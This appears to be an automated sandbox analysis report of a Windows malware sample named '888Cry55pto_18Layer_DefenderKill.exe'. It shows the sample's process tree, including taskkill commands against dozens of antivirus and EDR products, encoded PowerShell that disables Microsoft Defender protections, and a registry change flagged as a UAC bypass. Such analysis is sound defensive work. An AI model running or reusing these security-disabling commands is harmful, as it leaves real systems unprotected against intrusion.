PID 3344 wrote to memory of 760	3344	888Cry55pto_18Layer_DefenderKill.exe	112
PID 760 wrote to memory of 1984	760	cmd.exe	114
PID 3344 wrote to memory of 1664	3344	888Cry55pto_18Layer_DefenderKill.exe	115
PID 1664 wrote to memory of 5044	1664	cmd.exe	117
PID 3344 wrote to memory of 2820	3344	888Cry55pto_18Layer_DefenderKill.exe	118
PID 2820 wrote to memory of 1888	2820	cmd.exe	120
PID 3344 wrote to memory of 724	3344	888Cry55pto_18Layer_DefenderKill.exe	121
PID 724 wrote to memory of 2836	724	cmd.exe	123
PID 3344 wrote to memory of 956	3344	888Cry55pto_18Layer_DefenderKill.exe	124
PID 956 wrote to memory of 3108	956	cmd.exe	126
PID 3344 wrote to memory of 4836	3344	888Cry55pto_18Layer_DefenderKill.exe	127
PID 4836 wrote to memory of 2108	4836	cmd.exe	129
PID 3344 wrote to memory of 1360	3344	888Cry55pto_18Layer_DefenderKill.exe	130
PID 1360 wrote to memory of 2776	1360	cmd.exe	132
PID 3344 wrote to memory of 552	3344	888Cry55pto_18Layer_DefenderKill.exe	133
PID 552 wrote to memory of 4056	552	cmd.exe	135
PID 3344 wrote to memory of 4360	3344	888Cry55pto_18Layer_DefenderKill.exe	136
PID 4360 wrote to memory of 844	4360	cmd.exe	138
PID 3344 wrote to memory of 3960	3344	888Cry55pto_18Layer_DefenderKill.exe	139
PID 3960 wrote to memory of 3804	3960	cmd.exe	141
PID 3344 wrote to memory of 4276	3344	888Cry55pto_18Layer_DefenderKill.exe	142
PID 4276 wrote to memory of 4248	4276	cmd.exe	144
PID 3344 wrote to memory of 4312	3344	888Cry55pto_18Layer_DefenderKill.exe	145
PID 4312 wrote to memory of 1092	4312	cmd.exe	147
PID 3344 wrote to memory of 4980	3344	888Cry55pto_18Layer_DefenderKill.exe	148
PID 4980 wrote to memory of 772	4980	cmd.exe	150
PID 3344 wrote to memory of 3384	3344	888Cry55pto_18Layer_DefenderKill.exe	151
PID 3384 wrote to memory of 4748	3384	cmd.exe	153
PID 3344 wrote to memory of 2736	3344	888Cry55pto_18Layer_DefenderKill.exe	154
PID 2736 wrote to memory of 2752	2736	cmd.exe	156
PID 3344 wrote to memory of 4780	3344	888Cry55pto_18Layer_DefenderKill.exe	157
PID 4780 wrote to memory of 3252	4780	cmd.exe	159
PID 3344 wrote to memory of 380	3344	888Cry55pto_18Layer_DefenderKill.exe	160
PID 380 wrote to memory of 1688	380	cmd.exe	162
PID 3344 wrote to memory of 1456	3344	888Cry55pto_18Layer_DefenderKill.exe	163
PID 1456 wrote to memory of 972	1456	cmd.exe	165
PID 3344 wrote to memory of 3880	3344	888Cry55pto_18Layer_DefenderKill.exe	166
PID 3880 wrote to memory of 1096	3880	cmd.exe	168
PID 3344 wrote to memory of 2524	3344	888Cry55pto_18Layer_DefenderKill.exe	169
PID 2524 wrote to memory of 4404	2524	cmd.exe	171
PID 3344 wrote to memory of 1804	3344	888Cry55pto_18Layer_DefenderKill.exe	172
PID 1804 wrote to memory of 1656	1804	cmd.exe	174
PID 3344 wrote to memory of 3728	3344	888Cry55pto_18Layer_DefenderKill.exe	175
PID 3728 wrote to memory of 3852	3728	cmd.exe	177
PID 3344 wrote to memory of 3272	3344	888Cry55pto_18Layer_DefenderKill.exe	178
PID 3272 wrote to memory of 532	3272	cmd.exe	180
PID 3344 wrote to memory of 4676	3344	888Cry55pto_18Layer_DefenderKill.exe	181

System policy modification 1 TTPs 2 IoCs

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "1"	888Cry55pto_18Layer_DefenderKill.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	888Cry55pto_18Layer_DefenderKill.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\888Cry55pto_18Layer_DefenderKill.exe
"C:\Users\Admin\AppData\Local\Temp\888Cry55pto_18Layer_DefenderKill.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4540
- C:\Users\Admin\AppData\Local\Temp\888Cry55pto_18Layer_DefenderKill.exe
  "C:\Users\Admin\AppData\Local\Temp\888Cry55pto_18Layer_DefenderKill.exe"
  2⤵
  - Modifies Windows Defender DisableAntiSpyware settings
  - Modifies Windows Defender Real-time Protection settings
  - Modifies security service
  - UAC bypass
  - Checks computer location settings
  - Loads dropped DLL
  - Checks whether UAC is enabled
  - Modifies Security services
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:3344
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im avp.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3840
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im avp.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2844
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im kav.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:332
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im kav.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4824
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im kis.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1440
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im kis.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4732
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im kaspersky.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3400
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im kaspersky.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3896
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im drweb.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2520
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im drweb.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4300
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im dwengine.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2732
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im dwengine.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4472
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMService.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4524
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MBAMService.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:208
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Malwarebytes.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:116
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Malwarebytes.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3620
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MsMpEng.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:760
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MsMpEng.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1984
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im NisSrv.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1664
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im NisSrv.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5044
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im SecurityHealthService.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2820
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im SecurityHealthService.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1888
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im avg.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:724
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im avg.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2836
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im avast.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:956
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im avast.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3108
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im AvastSvc.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4836
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im AvastSvc.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2108
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Norton.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1360
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Norton.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2776
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Symantec.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:552
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Symantec.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4056
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im McAfee.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4360
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im McAfee.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:844
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Mcshield.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3960
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Mcshield.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3804
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Sophos.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4276
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Sophos.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4248
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Bitdefender.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4312
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Bitdefender.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1092
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im vsserv.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4980
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im vsserv.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:772
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im ESET.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3384
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im ESET.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4748
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im ekrn.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2736
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im ekrn.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2752
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im F-Secure.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4780
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im F-Secure.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3252
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im GData.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:380
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im GData.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1688
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Panda.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1456
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Panda.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:972
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im TrendMicro.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3880
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im TrendMicro.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1096
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im CrowdStrike.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2524
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im CrowdStrike.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4404
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im CSAgent.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1804
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im CSAgent.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1656
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im SentinelOne.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3728
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im SentinelOne.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3852
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Cynet.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3272
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Cynet.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:532
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im DeepInstinct.exe"
    3⤵
    - Executes a command shell one-liner
    PID:4676
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im DeepInstinct.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3688
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Elastic.exe"
    3⤵
    - Executes a command shell one-liner
    PID:1576
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Elastic.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2400
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Gridinsoft.exe"
    3⤵
    PID:3460
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Gridinsoft.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3980
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im SecureAge.exe"
    3⤵
    PID:844
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im SecureAge.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3864
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Avira.exe"
    3⤵
    PID:4236
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Avira.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1832
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Zillya.exe"
    3⤵
    PID:4284
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Zillya.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3860
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMService.exe"
    3⤵
    PID:2184
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MBAMService.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2928
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Malwarebytes.exe"
    3⤵
    PID:2180
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Malwarebytes.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2992
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMTray.exe"
    3⤵
    PID:2696
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MBAMTray.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2460
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMWsc.exe"
    3⤵
    - Executes a command shell one-liner
    PID:4964
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MBAMWsc.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4520
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAM.exe"
    3⤵
    PID:4472
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MBAM.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1260
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im mbam.exe"
    3⤵
    PID:1232
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im mbam.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:972
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMChameleon.exe"
    3⤵
    PID:5008
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MBAMChameleon.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4408
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABwAHIAbwBjAGUAcwBzAGUAcwAgAD0AIABAACgAIgBNAEIAQQBNAFMAZQByAHYAaQBjAGUAIgAsACAAIgBNAGEAbAB3AGEAcgBlAGIAeQB0AGUAcwAiACwAIAAiAE0AQgBBAE0AVAByAGEAeQAiACwAIAAiAE0AQgBBAE0AVwBzAGMAIgApAAoAZgBvAHIAZQBhAGMAaAAgACgAJABwACAAaQBuACAAJABwAHIAbwBjAGUAcwBzAGUAcwApACAAewAgAAoAIAAgACAAIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAE4AYQBtAGUAIAAkAHAAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIAB8ACAAUwB0AG8AcAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAAoAfQA="
    3⤵
    PID:3640
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABwAHIAbwBjAGUAcwBzAGUAcwAgAD0AIABAACgAIgBNAEIAQQBNAFMAZQByAHYAaQBjAGUAIgAsACAAIgBNAGEAbAB3AGEAcgBlAGIAeQB0AGUAcwAiACwAIAAiAE0AQgBBAE0AVAByAGEAeQAiACwAIAAiAE0AQgBBAE0AVwBzAGMAIgApAAoAZgBvAHIAZQBhAGMAaAAgACgAJABwACAAaQBuACAAJABwAHIAbwBjAGUAcwBzAGUAcwApACAAewAgAAoAIAAgACAAIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAE4AYQBtAGUAIAAkAHAAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIAB8ACAAUwB0AG8AcAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAAoAfQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1120
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MsMpEng.exe"
    3⤵
    PID:892
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MsMpEng.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4768
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im NisSrv.exe"
    3⤵
    PID:748
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im NisSrv.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4968
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im SecurityHealthService.exe"
    3⤵
    PID:3508
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im SecurityHealthService.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:752
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MpCmdRun.exe"
    3⤵
    PID:4776
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MpCmdRun.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1696
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MSASCui.exe"
    3⤵
    PID:4664
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MSASCui.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3824
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MSASvc.exe"
    3⤵
    PID:1416
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MSASvc.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3028
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARgBvAHIAYwBlAA=="
    3⤵
    PID:4196
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARgBvAHIAYwBlAA==
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1332
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARgBvAHIAYwBlAA=="
    3⤵
    PID:4732
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARgBvAHIAYwBlAA==
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5088
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGwAbwBjAGsAQQB0AEYAaQByAHMAdABTAGUAZQBuACAAJAB0AHIAdQBlACAALQBGAG8AcgBjAGUA"
    3⤵
    PID:2100
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGwAbwBjAGsAQQB0AEYAaQByAHMAdABTAGUAZQBuACAAJAB0AHIAdQBlACAALQBGAG8AcgBjAGUA
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4476
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBJAE8AQQBWAFAAcgBvAHQAZQBjAHQAaQBvAG4AIAAkAHQAcgB1AGUAIAAtAEYAbwByAGMAZQA="
    3⤵
    - Executes a command shell one-liner
    PID:776
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBJAE8AQQBWAFAAcgBvAHQAZQBjAHQAaQBvAG4AIAAkAHQAcgB1AGUAIAAtAEYAbwByAGMAZQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3136
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBQAHIAaQB2AGEAYwB5AE0AbwBkAGUAIAAkAHQAcgB1AGUAIAAtAEYAbwByAGMAZQA="
    3⤵
    PID:4588
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBQAHIAaQB2AGEAYwB5AE0AbwBkAGUAIAAkAHQAcgB1AGUAIAAtAEYAbwByAGMAZQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1272
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwB1AGIAbQBpAHQAUwBhAG0AcABsAGUAcwBDAG8AbgBzAGUAbgB0ACAAMgAgAC0ARgBvAHIAYwBlAA=="
    3⤵
    PID:1320
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwB1AGIAbQBpAHQAUwBhAG0AcABsAGUAcwBDAG8AbgBzAGUAbgB0ACAAMgAgAC0ARgBvAHIAYwBlAA==
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3428
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ATQBBAFAAUwBSAGUAcABvAHIAdABpAG4AZwAgADAAIAAtAEYAbwByAGMAZQA="
    3⤵
    PID:4576
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ATQBBAFAAUwBSAGUAcABvAHIAdABpAG4AZwAgADAAIAAtAEYAbwByAGMAZQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
